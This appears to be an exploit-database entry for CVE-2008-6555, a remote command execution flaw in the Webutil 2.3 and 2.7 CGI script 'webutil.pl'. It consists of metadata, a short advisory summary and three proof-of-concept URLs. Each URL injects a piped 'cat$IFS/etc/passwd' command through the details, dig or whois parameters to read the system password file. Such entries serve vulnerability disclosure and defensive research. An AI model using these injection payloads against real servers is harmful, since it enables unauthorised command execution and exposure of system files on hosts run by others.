Webutil 2.3/2.7 - 'webutil.pl' Multiple Remote Command Execution Vulnerabilities

Author: Zero X
type: webapps
platform: cgi
port: 
date_added: 2008-03-21 
date_updated: 2014-02-07 
verified: 1 
codes: CVE-2008-6555;OSVDB-51181 
tags: 
aliases:  
screenshot_url:  
application_url: 

source: https://www.securityfocus.com/bid/28393/info

Webutil is prone to multiple vulnerabilities that attackers can leverage to execute arbitrary commands. These issues occur because the application fails to adequately sanitize user-supplied input.

Successful attacks can compromise the affected application and possibly the underlying computer.

These issues affect Webutil 2.3 and 2.7.

http://www.example.com/cgi-bin/webutil.pl?details&|cat$IFS/etc/passwd
http://www.example.com/cgi-bin/webutil.pl?dig&|cat$IFS/etc/passwd
http://www.example.com/cgi-bin/webutil.pl?whois&|cat$IFS/etc/passwd